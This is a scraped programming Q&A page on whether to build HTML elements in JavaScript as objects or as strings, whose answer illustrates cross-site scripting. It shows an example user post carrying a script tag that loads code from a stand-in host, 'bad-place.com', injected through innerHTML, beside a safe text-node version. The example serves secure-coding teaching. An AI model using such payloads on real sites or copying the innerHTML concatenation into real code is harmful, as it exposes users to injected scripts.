Logo Questions Linux Laravel Mysql Ubuntu Git Menu
 

Javascript creating an HTML object vs creating an HTML string

Pretty simple question that I couldn't find an answer to, maybe because it's a non-issue, but I'm wondering if there is a difference between creating an HTML object using Javascript or using a string to build an element. Like, is it a better practice to declare any HTML elements in JS as JS objects or as strings and let the browser/library/etc parse them? For example:

jQuery('<div />', {'class': 'example'});

vs

jQuery('<div class="example></div>');

(Just using jQuery as an example, but same question applies for vanilla JS as well.)

It seems like a non-issue to me but I'm no JS expert, and I want to make sure I'm doing it right. Thanks in advance!

like image 999
aapis Avatar asked Feb 18 '26 05:02

aapis


1 Answers

They're both "correct". And both are useful at different times for different purposes.

For instance, in terms of page-speed, these days it's faster to just do something like:

document.body.innerHTML = "<header>....big string o' html text</footer>";

The browser will spit it out in an instant.

As a matter of safety, when dealing with user-input, it's safer to build elements, attach them to a documentFragment and then append them to the DOM (or replace a DOM node with your new version, or whatever).

Consider:

var userPost = "My name is Bob.<script src=\"//bad-place.com/awful-things.js\"></script>",
    paragraph = "<p>" + userPost + "</p>";

commentList.innerHTML += paragraph;

Versus:

var userPost = "My name is Bob.<script src=\"//bad-place.com/awful-things.js\"></script>",
    paragraph = document.createElement("p");

    paragraph.appendChild( document.createTextNode(userPost) );
    commentList.appendChild(paragraph);

One does bad things and one doesn't.

Of course, you don't have to create textNodes, you could use innerText or textContent or whatever (the browser will create the text node on its own).

But it's always important to consider what you're sharing and how.

If it's coming from anywhere other than a place you trust (which should be approximately nowhere, unless you're serving static pages, in which case, why are you building html?), then you should keep injection in mind -- only the things you WANT to be injected should be.

like image 111
Norguard Avatar answered Feb 20 '26 19:02

Norguard